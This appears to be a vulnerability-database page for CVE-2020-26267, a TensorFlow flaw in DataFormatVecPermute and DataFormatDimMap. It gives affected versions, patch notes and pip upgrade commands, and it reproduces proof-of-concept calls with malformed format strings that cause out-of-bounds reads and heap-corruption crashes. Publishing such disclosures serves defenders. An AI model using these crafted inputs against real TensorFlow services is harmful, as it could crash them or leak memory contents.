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Lack of validation in data format attributes in TensorFlow

tensorflow Updated 02 Oct 2025

Summary

10/12/2020
CVE-2020-26267
Yes i
Low
4.4

CVE-2020-26267: Lack of validation in data format attributes in TensorFlow. Affects tensorflow across 5 version ranges.

< 1.15.5 >= 2.0.0, < 2.0.4 >= 2.1.0, < 2.1.3 >= 2.2.0, < 2.2.2 >= 2.3.0, < 2.3.2

Fixed in 5 releases; the minimum fixed version depends on the release line you run. How to fix ↓

Also tracked for

The same CVE-2020-26267 is tracked separately for each ecosystem and vendor. Its fix information is the same; the package and affected versions differ.

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Impact

The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.

However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.

>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], 
                                    src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           
                                    src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624,        0],
       [71365824,        0],
       [     560,        0],
       [      48,        0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], 
                                    src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted

A similar issue occurs in tf.raw_ops.DataFormatDimMap, for the same reasons:

>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
       [1852793646, 1852793646],
       [1954047348, 1954047348],
       [1852793632, 1852793632]], dtype=int32)>

Patches

We have patched the issue in GitHub commit ebc70b7a592420d3d2f359e4b1694c236b82c7ae and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.

Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

How To Fix

Latest published version: 2.21.0 as of 22 Oct 2026 

pip install --upgrade "tensorflow==2.21.0"

Upgrading to it may include breaking changes; the versions below are the minimum fixed release for this vulnerability.

If you can't move to the latest

The minimum fixed version depends on the release line you run.

  • < 1.15.5 1.15.5 
    pip install --upgrade "tensorflow==1.15.5"
  • >= 2.0.0, < 2.0.4 2.0.4 
    pip install --upgrade "tensorflow==2.0.4"
  • >= 2.1.0, < 2.1.3 2.1.3 
    pip install --upgrade "tensorflow==2.1.3"
  • >= 2.2.0, < 2.2.2 2.2.2 
    pip install --upgrade "tensorflow==2.2.2"
  • >= 2.3.0, < 2.3.2 2.3.2 
    pip install --upgrade "tensorflow==2.3.2"

Tip — Not sure which release line you're on? Vulert can find the fix for the version you are using. Scan free →

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References

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How To Fix

Latest published version: 2.21.0 as of 22 Oct 2026 

pip install --upgrade "tensorflow==2.21.0"

Upgrading to it may include breaking changes; the versions below are the minimum fixed release for this vulnerability.

If you can't move to the latest

The minimum fixed version depends on the release line you run.

  • < 1.15.5 1.15.5 
    pip install --upgrade "tensorflow==1.15.5"
  • >= 2.0.0, < 2.0.4 2.0.4 
    pip install --upgrade "tensorflow==2.0.4"
  • >= 2.1.0, < 2.1.3 2.1.3 
    pip install --upgrade "tensorflow==2.1.3"
  • >= 2.2.0, < 2.2.2 2.2.2 
    pip install --upgrade "tensorflow==2.2.2"
  • >= 2.3.0, < 2.3.2 2.3.2 
    pip install --upgrade "tensorflow==2.3.2"

Tip — Not sure which release line you're on? Vulert can find the fix for the version you are using. Scan free →

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